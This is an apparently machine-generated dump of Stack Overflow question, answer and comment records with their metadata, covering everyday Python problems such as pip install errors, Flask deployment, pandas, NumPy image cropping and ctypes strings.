score: 0
type: AnswerComment

http://stackoverflow.com/q/49459074
tagged with: macos-sierra
score: 2
has comment: http://stackoverflow.com/comment/85921405
tagged with: python
has title: Cant install mysql python connector macOS High Sierra
tagged with: mysql
has answer: http://stackoverflow.com/a/49459118
has comment: http://stackoverflow.com/comment/85921452
favorite count: 0
type: Question
has body: When I try installing mysql-python adaptor with pip3 I get this error message: $ pip3 install mysql-python Collecting mysql-python Using cached https://files.pythonhosted.org/packages/a5/e9/51b544da85a36a68debe7a7091f068d802fc515a3a202652828c73453cad/MySQL-python-1.2.5.zip Complete output from command python setup.py egg_info: Traceback (most recent call last): File "&lt;string&gt;", line 1, in &lt;module&gt; File "/private/var/folders/vx/gzl69zd16lg9s4_xsgpnldv00000gn/T/pip-build-qkxwtgtw/mysql-python/setup.py", line 13, in &lt;module&gt; from setup_posix import get_config File "/private/var/folders/vx/gzl69zd16lg9s4_xsgpnldv00000gn/T/pip-build-qkxwtgtw/mysql-python/setup_posix.py", line 2, in &lt;module&gt; from ConfigParser import SafeConfigParser ModuleNotFoundError: No module named 'ConfigParser' ---------------------------------------- Command "python setup.py egg_info" failed with error code 1 in /private/var/folders/vx/gzl69zd16lg9s4_xsgpnldv00000gn/T/pip-build- qkxwtgtw/mysql-python/
answer count: 2
upvote count: 2
type: UnansweredQuestion
downvote count: 0
tagged with: connector
linked to: http://stackoverflow.com/q/14087598
has comment: http://stackoverflow.com/comment/85921330
has answer: http://stackoverflow.com/a/49459138

http://stackoverflow.com/q/49589904
downvote count: 0
has comment: http://stackoverflow.com/comment/86784645
score: 1
upvote count: 1
answer count: 1
favorite count: 0
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86187533
tagged with: python
tagged with: flask
has title: Flask app fails to run when deployed to pythonanywhere
has body: I'm working on a web app that makes calls to the movie database. Everything runs fine when it's running on localhost. I'm attempting to deploy it on pythonanywhere. I have created a virtual environment and installed all the dependencies. I believe I have edited the WSGI file correctly. import sys path = '/home/gcmatt/capstone/src' if path not in sys.path sys.path.append(path) from app import app as application At least from the error messages I get it appears to have found the files. When I try to load the page it fails to run. It appears that for some reason the code won't import my own functions src.models.search. 2018-03-31 15:28:50,341: Error running WSGI application 2018-03-31 15:28:50,349: ModuleNotFoundError: No module named 'src' 2018-03-31 15:28:50,349: File "/var/www/gcmatt_pythonanywhere_com_wsgi.py", line 82, in &lt;module&gt; 2018-03-31 15:28:50,349: from app import app as application # noqa 2018-03-31 15:28:50,349: 2018-03-31 15:28:50,349: File "/home/gcmatt/capstone/src/app.py", line 4, in &lt;module&gt; 2018-03-31 15:28:50,350: from src.models.search import Search Do I need to alter the file structure or file paths in the python code for the app to run? I followed the tutorials on python anywhere and feel that I have set everything up correctly. This is what my directory structure looks like capstone/ |--.git/ |--src/ |models/ |--__init__.py |--results.py |--search.py |--templates |--base.html |--home.html |--noresults.html |--search.html |--__init__.py |--api_file.txt |--app.py |--requirements.txt
has answer: http://stackoverflow.com/a/49590357

http://stackoverflow.com/comment/86232587
has text: i made a few changes, it now prints the hello but returns 302, still no update in the db
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49587646
type: Comment

http://stackoverflow.com/q/49566925
tagged with: django
upvote count: 1
tagged with: python
type: AnsweredQuestion
score: 1
has body: I am trying to make a template filter to show who liked a post. Each comment contains a ManyToManyField with the users who upvoted a post. I am trying to use the join method to simplify my code instead of using a for loop. This does not work and I get the error ManyToManyField is not iterable. #post.html ... &lt;span class="tooltip_text"&gt;&lt;/span&gt; ... #template_filters.py @register.filter def format_upvote_users(queryset): # This works: upvoters = '' for user in queryset: upvoters += ', ' + user # This doesn't: upvoters = ','.join(user in queryset) ... return upvoters
favorite count: 0
type: Question
has title: Django: join string on a ManyToManyField
answer count: 2
has answer: http://stackoverflow.com/a/49567034
possible better answer: http://stackoverflow.com/a/49567034
has answer: http://stackoverflow.com/a/49566937
accepted answer: http://stackoverflow.com/a/49566937
downvote count: 0

http://stackoverflow.com/a/49449098
has comment: http://stackoverflow.com/comment/85900122
type: Answer
answers question: http://stackoverflow.com/q/49448787
score: 0
has comment: http://stackoverflow.com/comment/85900109
has body: IIUC, you should just need to find the smallest rectangle of non-white pixels. Assuming the channel is the last dimension: color_x, color_y = np.where(np.any(image &lt; 255, axis=2)) x0 = color_x.min() x1 = color_x.max() y0 = color_y.min() y1 = color_y.max() cropped_image = image[x0:x1 + 1, y0:y1 + 1]
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49448787

http://stackoverflow.com/comment/85927837
type: Comment
has text: I meant the Django’s default server
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49462231

http://stackoverflow.com/a/49473505
score: 8
has body: We could use argmax to get the start, stop row and column indices, as discussed in some detail in this post. We also intend to work with boolean arrays/masks for efficient processing. Thus, using these tools/ideas, we would have one vectorized solution, like so - def remove_black_border(a): # Mask of non-zeros mask = a!=0 # Use a &gt;tolerance for a tolerance defining black border # Mask of non-zero rows and columns mask_row = mask.any(1) mask_col = mask.any(0) # First, last indices among the non-zero rows sr0,sr1 = mask_row.argmax(), len(mask_row) - mask_row[::-1].argmax() # First, last indices among the non-zero columns sc0,sc1 = mask_col.argmax(), len(mask_col) - mask_col[::-1].argmax() # Finally slice along the rows &amp; cols with the start and stop indices to get # cropped image. Slicing helps for an efficient operation. return a[sr0:sr1, sc0:sc1] Sample run - In [56]: a # Input image array Out[56]: array([[ 0, 0, 0, 0, 0, 0, 0, 0], [ 0, 0, 0, 0, 0, 0, 0, 0], [ 0, 0, 0, 0, 0, 0, 0, 0], [ 0, 0, 0, 175, 0, 0, 0, 71], [ 0, 0, 0, 0, 12, 8, 54, 0], [ 0, 0, 0, 0, 0, 255, 0, 0], [ 0, 0, 0, 0, 0, 0, 0, 0], [ 0, 0, 0, 0, 2, 0, 0, 0], [ 0, 0, 0, 0, 0, 0, 0, 0], [ 0, 0, 0, 0, 0, 0, 0, 0]]) In [57]: out = remove_black_border(a) In [58]: out Out[58]: array([[175, 0, 0, 0, 71], [ 0, 12, 8, 54, 0], [ 0, 0, 255, 0, 0], [ 0, 0, 0, 0, 0], [ 0, 2, 0, 0, 0]]) Memory efficiency : The output is a view into the input array, so no extra memory or copying is needed, which is helping on memory efficiency. Let's verify the view part - In [59]: np.shares_memory(a, out) Out[59]: True Timings with all proposed approaches on bigger image In [105]: # Setup for 1000x1000 2D image and 100 offsetted boundaries all across ...: np.random.seed(0) ...: a = np.zeros((1000,1000),dtype=np.uint8) ...: a[100:-100,100:-100] = np.random.randint(0,255,(800,800),dtype=np.uint8) In [106]: %timeit crop_fast(a) # @fireant's soln ...: %timeit crop(a) # @droooze's soln ...: %timeit remove_black_border(a) # from …
upvote count: 8
answers question: http://stackoverflow.com/q/49472962
type: Answer
has comment: http://stackoverflow.com/comment/85954173
downvote count: 0
has comment: http://stackoverflow.com/comment/85963888
has comment: http://stackoverflow.com/comment/85962318

http://stackoverflow.com/a/49481789
answers question: http://stackoverflow.com/q/49481743
type: Answer
score: 4
upvote count: 4
has body: I would do it like this: class Game: def __init__(self, board): ... @classmethod def from_string(cls, game_string): board = cls.parse_game_string(game_string) game = cls(board) game.something = 5 return game @staticmethod def parse_game_string(game_string): ... return Board(...) Game.from_string would then construct an instance of Game out of a string, using the default Game initializer which accepts a Board object. You will have to make Game.parse_game_string a static method for it to be usable from the Game.from_string class method.
downvote count: 0

http://stackoverflow.com/comment/85923634
score: 2
comment on: http://stackoverflow.com/q/49460212
type: Comment
type: QuestionComment
has text: @abamert, thanks a lot for your help! It's sorted now, a silly rookie mistake:)

http://stackoverflow.com/comment/86147001
has text: Thanks @Idavid for a quick response. "You don't feed a layer with another layer's weights, but with it's output signal." Yes, you are correct,I want to discard the reconstructed input layer and use the bottleneck layer as the input to the mlp. I shall post a code snippet after incorporating the changes u mentioned. But,do I really need to initialise the weights of the 1st layer of the mlp with the encoder weights? In that case, there is a mismatch in the no. of layers. Also, as you mentioned, "y = Dense(1, activation='sigmoid', name='predictions')(y)" Shouldn't I add a hidden layer to the mlp?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49567571
type: Comment

http://stackoverflow.com/comment/85956784
score: 0
comment on: http://stackoverflow.com/q/49476845
has text: I don't know Theano, but at first glance I'd guess the tensor.dot is reducing predicted_value to a single entry. Can you trace through the dimensions of these variables in your program to see where it's going wrong? (Also I'm not sure why you'd want to approximate a trig function with a neural net, since computers can do that well? )
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85986263
comment on: http://stackoverflow.com/q/49487844
has text: *I'd still like to know why the test fails in the first place* There are many reasons it can fail, because `os.access` isn't `os.open`. See https://docs.python.org/3.3/library/os.html The Python documentation itself says not to do what you're trying to do, and adds "I/O operations may fail even when `access()` indicates that they would succeed.". If someone asks you "Will this car start?", the answer isn't, "Yes, there's gas in the tank." That's only part of the answer. How do you check if a car can start? You start it. Nothing elase suffices.
type: Comment
type: QuestionComment
score: 2

http://stackoverflow.com/a/52005117
has comment: http://stackoverflow.com/comment/91158233
answers question: http://stackoverflow.com/q/49591038
has body: This is much more simple: def trib(n): if n &lt; 3: return n return trib(n-1) + trib(n-2) + trib(n-3) def tri(n): result = [] for i in range(0,n): result.append(trib(n)) return result
score: 0
has comment: http://stackoverflow.com/comment/90966906
type: Answer

http://stackoverflow.com/comment/92406358
comment on: http://stackoverflow.com/q/49457051
has text: I have the same question. did you find an answer since that time?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85994476
type: QuestionComment
comment on: http://stackoverflow.com/q/49494493
score: 0
type: Comment
has text: ... or, better, since you’re using Pandas, have Pandas group the results by `i[3]` and loop over the groups instead of all rows.

http://stackoverflow.com/comment/86133527
type: Comment
score: 0
type: AnswerComment
has text: the match_term does change on the page, so i guess I'll look into custom tags
comment on: http://stackoverflow.com/a/49555703

http://stackoverflow.com/q/49554817
accepted answer: http://stackoverflow.com/a/49555535
type: Question
has comment: http://stackoverflow.com/comment/86116824
answer count: 2
has answer: http://stackoverflow.com/a/49555535
has body: I'm currently working on a challenge that requires me to save high scores to a .txt file. I'm happy with the process of writing the scores to the file, but I'm having some real difficulty working out how to order it in descending order. I understand that I'm only able to write strings and not integers to a text file, but this leads to me not being able to order the scores as I would like, for example, .sort(reverse=True) would place a 9 higher than 15 on the list. Is there any way around this issue at all or is this just the nature of writing to a .txt file? Thanks in advance and here is my code: def high_score(): # open high scores try: text_file = open("high_score.txt", "r") high_scores = text_file.readlines() except FileNotFoundError: high_scores = [] # get a new high score name = input("What is your name? ") player_score = input("What is your score? ") entry = (player_score + " - " + name + "\n") high_scores.append(entry) high_scores.sort(reverse=True) high_scores = high_scores[:5] # write high scores to .txt file text_file = open("high_score.txt", "w+") for line in high_scores: text_file.write(line)
has comment: http://stackoverflow.com/comment/86116845
possible better answer: http://stackoverflow.com/a/49555032
downvote count: 0
upvote count: 1
tagged with: python
favorite count: 0
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/3426108
has title: Ordering a high score list by numeric value (descending order) in a .txt file using Python
has comment: http://stackoverflow.com/comment/86138027
score: 1
has answer: http://stackoverflow.com/a/49555032

http://stackoverflow.com/comment/86201065
type: Comment
has text: Thanks ! tt really helps :)
type: AnswerComment
comment on: http://stackoverflow.com/a/49595465
score: 1

http://stackoverflow.com/comment/86083873
score: 0
comment on: http://stackoverflow.com/a/49537098
type: AnswerComment
has text: You always want to merge them 2 by 2?
type: Comment

http://stackoverflow.com/comment/86124293
score: 0
type: Comment
has text: Ok, that's what I suspected... Thanks
comment on: http://stackoverflow.com/a/49558266
type: AnswerComment

http://stackoverflow.com/comment/86131148
score: 0
type: Comment
type: AnswerComment
has text: Thanks for the clarification. Is there a reason a `'return'` event would occur for these then? The phrasing in the docs is the same (`A function (or other code block) is about to return.`), which prompted some of this confusion for me.
comment on: http://stackoverflow.com/a/49561130

http://stackoverflow.com/comment/86171590
comment on: http://stackoverflow.com/a/49581659
type: Comment
score: 0
type: AnswerComment
has text: Yes those are exactly the values that are calculated. But your question states that you wan to *return the index*, which is exactly what this function does. What *exactly* do you want as the output?

http://stackoverflow.com/a/49581317
answers question: http://stackoverflow.com/q/49580190
type: Answer
score: 0
has body: I think that you will have to explicitly provide a quote on all your data while writing to csv, and select QUOTE_ALL as the quoting strategy: In [23]: import csv ...: ...: filename = 'output.csv' ...: ...: with open(filename, 'w', newline='', encoding='utf-8') as csvfile: ...: writer = csv.writer(csvfile, delimiter=",", quotechar='"', quoting=csv.QUOTE_ALL) ...: rowData = ['Blue Shampoo', '0853520006427'] ...: writer.writerow(rowData) ...: Gives output: "Blue Shampoo","0853520006427" However, this will also put your first field within quotes (which will be consistent across all fields, so should be ok I guess). Since the csv module only supports 4 types of quotes (QUOTE_ALL, QUOTE_MINIMAL, QUOTE_NONE, QUOTE_NONNUMERIC), this is the only option you have if you use the csv module. You could of course write to the file without the csv module in a csv compliant fashion.

http://stackoverflow.com/comment/86196194
type: AnswerComment
comment on: http://stackoverflow.com/a/49593916
type: Comment
has text: @magnetrtk no, you can't format code in comments, it's designed that way to discourage people from posting code blocks in comments.
score: 0

http://stackoverflow.com/a/50980613
answers question: http://stackoverflow.com/q/49460212
upvote count: 13
downvote count: 0
type: Answer
score: 13
has body: exit code 0 means you code run with no error. Let's give a error code for example(clearly in the below image): in below code, the variable lst is an empty list, but we get the 5 member in it(which not exists), so the program throws IndexError, and exit 1 which means there is error with the code. You can also define exit code for analysis, for example: ERROR_USERNAME, ERROR_PASSWORD, RIGHT_CODE = 683, 11, 0 right_name, right_password = 'xy', 'xy' name, password = 'xy', 'wrong_password' if name != right_name: exit(ERROR_USERNAME) if password != right_password: exit(ERROR_PASSWORD) exit(RIGHT_CODE)

http://stackoverflow.com/comment/86089536
has text: If you have some idea of how the strings are structured, you should look into [regular expressions.](https://docs.python.org/3/library/re.html)
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49541029

http://stackoverflow.com/q/49574068
downvote count: 0
upvote count: 1
score: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/86156279
has comment: http://stackoverflow.com/comment/86155974
has comment: http://stackoverflow.com/comment/86156050
has comment: http://stackoverflow.com/comment/86155871
has comment: http://stackoverflow.com/comment/86155920
has body: How to edit CSV cell value using pandas. I'm trying like this obj.set_value(rowindex, 'C', val) Where I expect the old value in row = rowindex and column = C i.e.. df[rowindex][C] should get replced by val and my original csv should get update. I know pandas provides, inplace=True, to do that, but set_value doesn't support that. How can I do this ?
linked to: http://stackoverflow.com/q/16923281
has answer: http://stackoverflow.com/a/49574449
tagged with: python
type: Question
has comment: http://stackoverflow.com/comment/86155992
has answer: http://stackoverflow.com/a/49574601
has title: Edit CSV cell using pandas
answer count: 2
tagged with: pandas
has comment: http://stackoverflow.com/comment/86155982
linked to: http://stackoverflow.com/q/3699927
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86155581

http://stackoverflow.com/comment/86013734
score: 1
type: Comment
type: QuestionComment
has text: Does `BorderWidget` call update_canvas() in its own __init__() method? I bet that is the problem...
comment on: http://stackoverflow.com/q/49504611

http://stackoverflow.com/a/49766808
has body: img = img.resize(300, 300) => img = img.resize((300,300))
answers question: http://stackoverflow.com/q/49565298
downvote count: 1
score: 75
type: Answer
upvote count: 76

http://stackoverflow.com/comment/85890038
has text: The first is 1d and the second 2d even if theres no additional data.
type: QuestionComment
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49444259

http://stackoverflow.com/comment/86088135
type: QuestionComment
comment on: http://stackoverflow.com/q/49540378
has text: What do you mean "inject new variables into the environment"?
score: 0
type: Comment

http://stackoverflow.com/q/49462765
accepted answer: http://stackoverflow.com/a/49462785
type: AnsweredQuestion
has body: I have a data frame with 10 columns which successfully loads into a classifier. Now I am trying to load the sum of the columns instead of all 10 columns. previous_games_stats = pd.read_csv('stats/2016-2017 CANUCKS STATS.csv', header=1) numGamesToLookBack = 10; X = previous_games_stats'GF', 'GA' X = X[0:numGamesToLookBack] #num games to look back stats_feature_names = list(X.columns.values) totals = pd.DataFrame(X, columns=stats_feature_names) y = previous_games_stats['Unnamed: 7'] #outcome variable (win/loss) y = y[numGamesToLookBack+1] df = pd.DataFrame(iris.data, columns=iris.feature_names) stats_df = pd.DataFrame(X, columns=stats_feature_names).sum() The final line (with .sum() at the end) causes stats_df to go form being formatted like: GF GA 0 2 1 1 4 3 2 2 1 3 2 1 4 3 4 5 2 4 6 0 3 7 0 2 8 2 5 9 0 3 to: GF 17 GA 27 But I want to keep the same format, so the end result should be this: GF GA 0 17 27 Since it is getting re-formatted, I am getting the following error: IndexError: boolean index did not match indexed array along dimension 0; dimension is 4 but corresponding boolean dimension is 3 What can I do to make the format stay the same?
linked to: http://stackoverflow.com/q/49463949
answer count: 1
tagged with: scikit-learn
has answer: http://stackoverflow.com/a/49462785
type: Question
score: 0
tagged with: pandas
has title: reshape pandas column to allow sum instead of all values
tagged with: python

http://stackoverflow.com/q/49558805
upvote count: 1
favorite count: 0
type: Question
tagged with: setup.py
type: UnansweredQuestion
has title: How to enable check of particular file in pytest configuration?
downvote count: 0
tagged with: pylint
tagged with: python
tagged with: pytest
tagged with: flake8
answer count: 0
has body: My setup.cfg file looks like this [bdist_wheel] universal=1 [aliases] test=pytest [tool:pytest] addopts=-s tests app -vv --cov app --cov-report html --pylint --flake8 --doctest-modules -ra --no-print-logs I want my setup.py file to be checked too, but it's located in the root of my project. I don't want to add the root and ignore each folder that doesn't need to be checked. How to add check of setup.py file? Being more specific, I want flake8 and pylint to check it.
score: 1

http://stackoverflow.com/q/49588615
has comment: http://stackoverflow.com/comment/86185814
type: AnsweredQuestion
score: 0
has body: I have a 2d array with values, the first element represents an ID for the data that follows in that row. Ex for a row in my array: [1,45,32,54], 1 is the key and the rest of the numbers are values related to that key. In my array I have different keys numbered from 1-9 but I want to create a second array with filtered values from a list with ID's. This is the function that I use: def filter_set(dataset, l): row=np.where(np.all(dataset[:,0] in l)) filtered = np.take(dataset,row[0],axis=0) return filtered This is how I call it: two_train_set = filter_set(train_set, [0, 1]) And I get this error: ValueError: The truth value of an array with more than one element is ambiguous. Use a.any() or a.all() If someone could help me I would be very thankful, thanks.
has title: python - selecting rows from an array based on some elements from a list
type: Question
tagged with: numpy
has answer: http://stackoverflow.com/a/49589284
accepted answer: http://stackoverflow.com/a/49589284
tagged with: arrays
answer count: 1
tagged with: dataset
has comment: http://stackoverflow.com/comment/86185027
tagged with: python

http://stackoverflow.com/a/49562764
type: Answer
score: 0
answers question: http://stackoverflow.com/q/49561978
has body: You can use functools.partial to call any already defined function with some fixed arguments. from functools import partial print_something = partial(print, "something") # Use () to call as a normal function print_something() # prints "something" # You can pass more arguments later print_something("another thing") # prints "something another thing"

http://stackoverflow.com/q/49581168
accepted answer: http://stackoverflow.com/a/49588328
has comment: http://stackoverflow.com/comment/86170607
has comment: http://stackoverflow.com/comment/86170343
has comment: http://stackoverflow.com/comment/86170536
score: 2
type: AnsweredQuestion
tagged with: null-terminated
has comment: http://stackoverflow.com/comment/86170673
has comment: http://stackoverflow.com/comment/86170381
answer count: 1
has comment: http://stackoverflow.com/comment/86170550
has body: I am accessing a function through ctypes which returns a pointer to a NULL-terminated string (array/vector of chars). The memory is allocated by the function (not under my control). The problem is, it does not return any information on its length. What I came up with (and what works), loosely inspired by what I would do in C, looks a bit wacky: import ctypes def get_length_of_null_terminated_string(in_pointer): datatype = ctypes.c_char datatype_size = ctypes.sizeof(datatype) terminator = b'\x00' length = 0 char_pointer = ctypes.cast(in_pointer, ctypes.POINTER(datatype)) STRING_MAX = 1024 while True: if char_pointer.contents.value == terminator: break if length &gt; STRING_MAX: raise void_pointer = ctypes.cast(char_pointer, ctypes.c_void_p) void_pointer.value += datatype_size char_pointer = ctypes.cast(void_pointer, ctypes.POINTER(datatype)) length += 1 return length def test(): test_string = b'Hello World!' print('Actual length: %d' % len(test_string)) test_buffer = ctypes.create_string_buffer(test_string) test_pointer = ctypes.cast(test_buffer, ctypes.c_void_p) print('Measured length: %d' % get_length_of_null_terminated_string(test_pointer)) if __name__ == '__main__': test() Is there a better way of doing it? In particular, I can not find a way to get rid of the two cast statements. It appears that I can only increment the address of a c_void_p object (through its value attribute) while the same seems to be impossible for a pointer to c_char.
linked to: http://stackoverflow.com/q/11022571
has answer: http://stackoverflow.com/a/49588328
favorite count: 0
type: Question
upvote count: 2
tagged with: python-3.x
has title: How to determine the length of a NULL-terminated string with ctypes?
has comment: http://stackoverflow.com/comment/86170558
tagged with: ctypes
downvote count: 0
tagged with: python

http://stackoverflow.com/q/49489850
tagged with: javascript
tagged with: python
tagged with: selenium-webdriver
upvote count: 2
has answer: http://stackoverflow.com/a/49490103
accepted answer: http://stackoverflow.com/a/49490103
type: AnsweredQuestion
has title: Call onclick datepicker function python selenium
score: 0
downvote count: 2
has body: I'm new to selenium and I'm trying to pass the values into the form. Although I am able to pass the values in the normal text box, I couldn't succeed in the onclick datepicker function. Here is the code. import urllib from selenium import webdriver from selenium.webdriver.support.ui import Select from selenium.webdriver.common.keys import Keys driver = webdriver.PhantomJS(executable_path="C://Users//phantomjs//bin//phantomjs.exe") driver.get('https://enquiry.icegate.gov.in/enquiryatices/sbTrack') select = Select(driver.find_element_by_name('sbTrack_location')) select.select_by_value("MUNDRA SEA (INMUN1)") sb_no = driver.find_element_by_name("SB_NO") sb_no.send_keys(7353156) sb_dt = driver.find_element_by_name("SB_DT") sb_dt.send_keys("2017/07/14") driver.save_screenshot("test1_scr.png") I am unable to send keys to tag with readonly input property from here. &lt;input type="text" name="SB_DT" value="" readonly="readonly" id="sbDATE"&gt;
answer count: 1
tagged with: selenium
tagged with: web-scraping
favorite count: 0
type: Question

http://stackoverflow.com/comment/86133507
score: 0
comment on: http://stackoverflow.com/q/49562458
has text: @Barmar Sorry for my mistake sir. It is second.secondm() in Trial - 2
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86564849
has text: above code printing empty report
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49528092

http://stackoverflow.com/comment/86179571
score: 2
has text: Calling a list of dicts `dict`? That's two bad practices in a single line.
type: QuestionComment
comment on: http://stackoverflow.com/q/49585853
type: Comment

http://stackoverflow.com/q/49481100
answer count: 1
type: Question
type: UnansweredQuestion
has body: So I'm writing this little program for a class, I'm basically to the end and I keep getting the error: averageWeekMiles = int(totalMiles)/ int(weeksRented) NameError: name 'weeksRented' is not defined I have defined it in the same area where I defined the daysrented, I cannot figure out why it keeps telling me the name is not defined... Any guidance is greatly appreciated! rentalCode = input('') print("(B)udget, (D)aily, or (W)eekly rental?") if rentalCode == 'D': daysRented = input('') elif rentalCode == 'W': weeksRented = input('') if rentalCode == "D": print('Number of Days Rented:') print(rentalCode) elif rentalCode =='B': print('Number of Days Rented:') print(rentalCode) elif rentalCode == 'W': print('Number of Weeks Rented:') print(rentalCode) if rentalCode == 'D': print(daysRented) elif rentalCode == 'B': print(daysRented) elif rentalCode == 'W': print(weeksRented) budget_charge = 40.00 daily_charge = 60.00 weekly_charge = 190.00 if rentalCode == 'B': baseCharge = daysRented * budget_charge elif rentalCode == 'D': baseCharge = int(daysRented) * int(daily_charge) elif rentalCode == 'W': baseCharge = weeksRented * weekly+charge print("Starting Odometer Reading:") odoEnd = input('') print("Ending Odometer Reading:") print(odoStart) print(odoEnd) totalMiles = int(odoEnd) - int(odoStart) print(totalMiles) if rentalCode == 'B': mileageCharge = totalMiles * .25 averageDayMiles = int(totalMiles)/ int(daysRented) if averageDayMiles &lt;= 100: extraMiles = 0 elif averageDayMiles &gt; 100: extraMiles = averageDayMiles - 100 mileCharge = .25 * float(extraMiles) * float(daysRented) averageWeekMiles = int(totalMiles)/ int(weeksRented) if averageWeekMiles &gt; 900: mileCharge = 100 * int(weeksRented) elif averageWeekMiles &lt;= 900: mileCharge = 0 amtDue = baseCharge + mileCharge print(mileCharge)
tagged with: python
has comment: http://stackoverflow.com/comment/85965263
has answer: http://stackoverflow.com/a/49481149
tagged with: nameerror
score: 0
has title: Name Error - Name is not defined.... but it is

http://stackoverflow.com/comment/86041546
score: 0
type: QuestionComment
has text: `any()` returns True if any element of the iterable is True
comment on: http://stackoverflow.com/q/49518039
type: Comment

http://stackoverflow.com/comment/86175095
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/49583332
has text: I don’t know what pygame returns, but from your output, it looks like it’s three floats. You need to figure out how you want to map those to ints in the range 0-255 before you can convert those ints to pairs of hex digits. For example, if they’re floats from 0.0 to 1.0, you might want `round(x*255)`. Then it’s just a matter of using the format string `02x` instead of `>6.3f`, and joining the resulting three strings together instead of just printing them. M
type: Comment

http://stackoverflow.com/q/49448889
has comment: http://stackoverflow.com/comment/85899631
tagged with: python
tagged with: date
has answer: http://stackoverflow.com/a/49449067
linked to: http://stackoverflow.com/q/9637838
has title: How to convert date given as a string into a unix time stamp, including the time zone, and the month is given as a abbreviaton
type: AnsweredQuestion
score: 0
answer count: 2
accepted answer: http://stackoverflow.com/a/49448951
has comment: http://stackoverflow.com/comment/85899600
has comment: http://stackoverflow.com/comment/85899689
has answer: http://stackoverflow.com/a/49448951
possible better answer: http://stackoverflow.com/a/49449067
has body: I have the following string: 08 Jan 2018 08:45:30 +0100 which I would like to conert to a unix timestamp. I know how to convert a time from this answer Convert string date to timestamp in Python , however this only describes how to do it if the name is given as a number like 01/12/1991. Furthermore, I do not know how to include the timezoen (+0100) into the conversion. For the month I would have come up with a look up table which is a workaround, and I thought there may be a better way to do this Here is the code I came up with for that: lookup = {} lookup['Jan'] = '01' lookup['Feb'] = '02' lookup['Mar'] = '03' lookup['Apr'] = '04' lookup['Mai'] = '05' lookup['Jun'] = '06' lookup['Jul'] = '07' lookup['Aug'] = '08' lookup['Sep'] = '09' lookup['Okt'] = '10' lookup['Nov'] = '11' lookup['Dec'] = '12' dates_to_convert = '08 Jan 2018 08:45:30 +0100' dates_to_convert.replace(dates_to_convert.split()[1],lookup[dates_to_convert.split()[1]]) ## Now continue with solution from linked answer...
type: Question
tagged with: unix-timestamp

http://stackoverflow.com/a/49531969
has comment: http://stackoverflow.com/comment/86076449
has comment: http://stackoverflow.com/comment/86076069
has comment: http://stackoverflow.com/comment/86071022
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/86076225
accepted answer of: http://stackoverflow.com/q/49531292
score: 0
answers question: http://stackoverflow.com/q/49531292
has body: Demo: from sklearn.preprocessing import StandardScaler, MinMaxScaler mms = MinMaxScaler() df.loc[:, df.columns.str.contains('Feature')] = mms.fit_transform(df.filter(like='Feature')) yields: In [164]: df Out[164]: Class Feature 1 Feature 2 Feature 3 Feature 4 Feature 5 Feature 6 0 0 0.416385 0.666981 0.510885 0.530803 0.676278 0.443090 1 0 0.556001 0.473475 0.401624 0.272491 0.376577 0.699309 2 0 0.510970 0.617226 0.603038 0.449458 0.703408 0.388056 3 1 0.674764 0.590244 0.639278 0.203411 0.594984 0.289978 4 0 0.284630 0.707643 0.357078 0.653500 0.641764 0.484258 5 0 0.487175 0.566235 0.469849 0.414133 0.550115 0.550655 6 1 0.425064 0.354257 0.452126 0.625156 0.673901 0.641468 7 0 0.412525 0.617383 0.446962 0.536107 0.651904 0.414641 8 0 0.509887 0.382452 0.511992 0.556738 0.768706 0.291556 9 0 0.580941 0.452781 0.534328 0.326482 0.518002 0.641739 .. ... ... ... ... ... ... ... 290 0 0.728144 0.151289 0.692940 0.409269 0.834617 0.214392 291 1 0.377372 0.169778 0.405410 0.776607 0.736210 0.732727 292 0 0.519530 0.360764 0.503794 0.530192 0.723015 0.374990 293 0 0.629286 0.444416 0.462688 0.194132 0.374052 0.675573 294 1 0.660195 0.675694 0.675262 0.185723 0.575563 0.364423 295 1 0.322941 0.489876 0.474006 0.746047 0.754077 0.643757 296 0 0.460637 0.500117 0.236784 0.305325 0.240014 0.862539 297 1 0.521527 0.326676 0.430562 0.455950 0.557530 0.616107 298 0 1.000000 0.000000 1.000000 0.213472 0.979327 0.012098 299 1 0.688809 0.602628 0.654906 0.184625 0.599433 0.262852 [300 rows x 7 columns] after scaling: In [166]: df.describe() Out[166]: Class Feature 1 Feature 2 Feature 3 Feature 4 Feature 5 Feature 6 count 300.000000 300.000000 300.000000 300.000000 300.000000 300.000000 300.000000 mean 0.500000 0.493667 0.563870 0.560114 0.475371 0.679344 0.451538 std 0.500835 0.141253 0.189137 0.162298 0.179086 0.156490 0.176866 min 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 25% 0.000000 0.408848 0.439482 0.446708 0.344611 0.599389 0.317857 50% 0.500000 0.4953…
has comment: http://stackoverflow.com/comment/86071091
has comment: http://stackoverflow.com/comment/86076631
has comment: http://stackoverflow.com/comment/86075887

http://stackoverflow.com/q/49543330
upvote count: 0
tagged with: pandas-to-sql
downvote count: 1
favorite count: 0
type: Question
type: UnansweredQuestion
has title: python dataframe to_sql with different schema
tagged with: dataframe
tagged with: python
score: -1
has answer: http://stackoverflow.com/a/49543853
has answer: http://stackoverflow.com/a/49556402
answer count: 2
has body: I want to store a dataframe into an existing MSSQL table. Dataframe has 3 columns, but the SQL table has only 2. How is it possible to store the 2 columns with the same name into SQL? I tried the following code: df.to_sql(sTable, engine, if_exists='append') It works, if the number and names of the columns are exactly the same. But I want to make my code more generic.
tagged with: pandas

http://stackoverflow.com/a/49526077
type: AcceptedAnswer
